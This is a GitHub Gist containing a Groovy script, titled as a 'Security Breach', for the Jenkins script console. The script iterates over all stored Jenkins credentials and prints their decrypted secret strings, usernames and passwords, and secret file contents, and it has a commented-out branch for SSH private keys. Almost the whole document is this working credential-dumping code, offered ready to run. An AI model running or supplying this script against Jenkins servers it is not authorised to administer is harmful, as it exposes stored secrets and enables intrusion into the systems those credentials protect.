Last active
October 14, 2019 19:55
-
-
Save sirrapa/fe26d9286012396f5eb0f0150b3e46b1 to your computer and use it in GitHub Desktop.
Iterate and decrypt credentials (Security Breach!!!!)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials( | |
com.cloudbees.plugins.credentials.Credentials.class, | |
Jenkins.instance, | |
null, | |
null | |
) | |
for(c in creds) { | |
println(String.format("%s --> %s: %s",c, c.id, c.description)) | |
// if(c instanceof com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey){ | |
// println(String.format("id=%s desc=%s key=%s\n", c.id, c.description, c.privateKeySource.getPrivateKeys())) | |
// } | |
if (c instanceof org.jenkinsci.plugins.plaincredentials.impl.StringCredentialsImpl){ | |
println(String.format("id=%s desc=%s pass=%s\n", c.id, c.description, hudson.util.Secret.toString(c.secret))) | |
} | |
if (c instanceof com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl){ | |
println(String.format("id=%s desc=%s user=%s pass=%s\n", c.id, c.description, c.username, c.password)) | |
} | |
if(c instanceof org.jenkinsci.plugins.plaincredentials.impl.FileCredentialsImpl){ | |
String content=c.content.getText("UTF-8") | |
println(String.format("id=%s desc=%s filename%s content=%s\n", c.id, c.description, c.fileName,content )) | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment